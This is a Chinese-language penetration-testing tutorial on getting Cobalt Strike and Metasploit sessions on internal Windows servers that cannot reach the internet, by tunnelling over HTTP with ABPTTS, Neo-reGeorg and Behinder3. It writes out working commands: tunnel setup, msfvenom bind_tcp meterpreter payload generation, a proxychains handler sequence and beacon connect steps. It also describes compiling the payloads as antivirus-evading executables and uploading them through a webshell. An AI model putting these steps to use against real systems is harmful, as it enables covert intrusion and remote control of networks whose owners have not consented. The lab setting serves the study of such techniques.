前言
太多时候遇到目标不出网了,TCP、ICMP、DNS协议均不通,无法直接与公网的cobaltstrike或者metasploit服务端建立连接。只能搭建HTTP隧道,那能通过HTTP隧道上线cobaltstrike或者metasploit吗?pystinger 就可以做到,那除此之外呢?接下来,我们探究一下其他HTTP隧道工具能否上线cobaltstrike或者metasploit。
cobaltstrike
原理
原理图
本地win10先上线cobaltstrike作为跳板机,并产生父beacon。然后利用HTTP正向隧道连接目标Server 2008的目标端口,进而产生子beacon。这里需要端口对端口的映射。而HTTP正向代理工具只有 ABPTTS 满足这点。
复现环境
- CobaltStrike
公网 cobaltstrike 4.4
- 跳板机
系统:windows 10
IP地址:10.211.55.7
用户名:cseroad
- 目标机
系统:windows server 2008
IP地址:10.37.129.3
用户名:administrator
假设我们获取目标机server的webshell
然后利用 ABPTTS 项目生成代理脚本。因为它本身具有端口转发的功能。
该脚本只支持jsp、aspx。且每次生成的脚本文件并不一样。
生成代理脚本:
python abpttsfactory.py -o proxy
上传abptts.jsp到目标机server 2008 上。访问得到一串密文,说明脚本文件正常运行。
客户端使用abpttsclient.py
启用HTTP隧道。
python abpttsclient.py -c proxy/config.txt -u "http://10.37.129.3:8080/demo/abptts.jsp" -f 127.0.0.1:6666/127.0.0.1:9999
/
后面为目标地址和端口,前面为本地地址和端口。该命令意思是将目标机的9999端口通过http隧道映射至本机的6666端口,向本地的6666端口发送的请求都转发到目标机的9999端口上。
然后在cobaltstrike 上配置一条bind tcp 正向监听器。
值得注意的是生成的正向载荷只能选择Windows Executable Stageless 。
而Stager型和Stagerless型的区别在于:
- Stager型:只包含简单的加载逻辑部分,Stager通过将payload加载到内存里从而实现PE的加载,这种加载方式称为反射型DLL加载。
- Stagerless型:是把Stager和payload全写死在木马中,也就是它的体积更大、特征更明显。
只bin文件就有255K。
刚好最近更新了powershell的免杀插件,编译为exe后上传冰蝎。
木马在server 2008 目标机上开启了9999端口监听。
现在先在本地win 10上线cobaltstrike,产生一个父beacon。
而后在beacon里连接本地的6666端口。abpttsclient.py 就会通过HTTP隧道连接到9999端口上。
connect 127.0.0.1 6666
成功正向上线10.37.129.3目标机。
metasploit
原理
原理图
相比较cobaltstrike上线的原理,metasploit显得比较简单。kali建立HTTP隧道后,metasploit代理到内网,主动连接到目标机建立连接。
复现环境
- 跳板机
系统:kali
IP地址:10.211.55.6
用户名:root
- 目标机
系统:windows server 2008
IP地址:10.37.129.3
用户名:administrator
还是在存在一个shell的基础上,跳板机kali使用Neo-reGeorg代理工具。
检测代理正常建立后,创建正向连接的木马。相比较cobaltstrike,metasploit生成的后门方式就更多了。
以常见的c为例:
msfvenom -p windows/x64/meterpreter/bind_tcp lport=8888 -f c -o shell.c
编译shell.c为免杀exe,并上传冰蝎后触发。
代理启用metasploit,配置RHOST为目标机IP地址。
proxychains msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set LPORT 8888
set RHOST 10.37.129.3
exploit -j -z
可接受到来自目标机server的session,成功建立会话。
Behinder3
原理
原理图
本地win10先上线cobaltstrike作为跳板机,并产生父beacon。然后利用冰蝎的HTTP正向隧道连接目标Server 2012的目标端口,进而产生子beacon。
复现环境
CobaltStrike
公网 cobaltstrike 4.4
跳板机
系统:windows 10
IP地址:10.211.55.7
用户名:cseroad
目标机
系统:windows server 2012
IP地址:10.37.129.4
用户名:administrator
现在不借助任何的HTTP隧道,只用Behinder3的内网穿透功能,同样将远程目标端口9999映射到本地6666端口。
配置如下:
现在我们在cobaltstrike上配置一条bind tcp 正向监听器并生成一个exe文件。
通过Behinder3上传并触发。
在父beaon输入
connect 127.0.0.1 6666
即可成功正向上线10.37.129.4目标机。
总结
以后再也不用担心不出网的情况下无法使用cobaltstrike或metasploit,借助HTTP隧道,让cobaltstrike或metasploit走正向代理连接到目标机。
参考资料
https://xz.aliyun.com/t/10410#toc-7
http://www.moy1sec.com/2021/11/02/cs-zai-bu-chu-wang-huan-jing-zhong-shang-xian/#toc-heading-6
http://events.jianshu.io/p/3c02bd778e55